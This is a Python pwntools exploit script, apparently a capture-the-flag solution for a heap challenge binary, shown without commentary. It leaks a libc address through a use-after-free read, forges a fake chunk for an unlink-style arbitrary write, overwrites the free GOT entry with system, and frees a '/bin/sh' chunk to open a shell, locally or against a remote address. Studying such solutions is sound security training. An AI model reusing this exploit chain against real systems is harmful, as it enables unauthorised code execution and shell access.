1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import *
context.arch = 'amd64' context.log_level = 'debug'
fn = './pwn' elf = ELF(fn) libc = ELF('./libc.so.6')
debug = 1 if debug: p = process(fn) else: p = remote('10.1.102.102', 10001)
def dbg(s=''): if debug: gdb.attach(p, s) pause()
else: pass
lg = lambda x, y: log.success(f'{x}: {hex(y)}')
def menu(index): p.sendlineafter('>', str(index))
def add(index, size): menu(1) p.sendlineafter('Index: ', str(index)) p.sendlineafter('Size: ', str(size))
def show(index): menu(4) p.sendlineafter('Index: ', str(index))
def edit(index, content): menu(3) p.sendlineafter('Index: ', str(index)) p.sendafter('Content: ', content)
def delete(index): menu(2) p.sendlineafter('Index: ', str(index))
add(0, 0x580) add(1, 0x580) add(2, 0x580)
delete(0) show(0) p.recvuntil(b'Content: ') libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1f6cc0 lg('libc_base: ', libc_base)
delete(1) add(3, 0x590) edit(1, flat([0, 0x581, 0x4040E8 - 0x18, 0x4040E8 - 0x10])) delete(2)
free_got = elf.got['free'] system = libc_base + libc.sym['system']
edit(2, b'/bin/sh\x00') edit(1, flat([0, 0, free_got])) edit(0, p64(system))
delete(2)
p.interactive()
|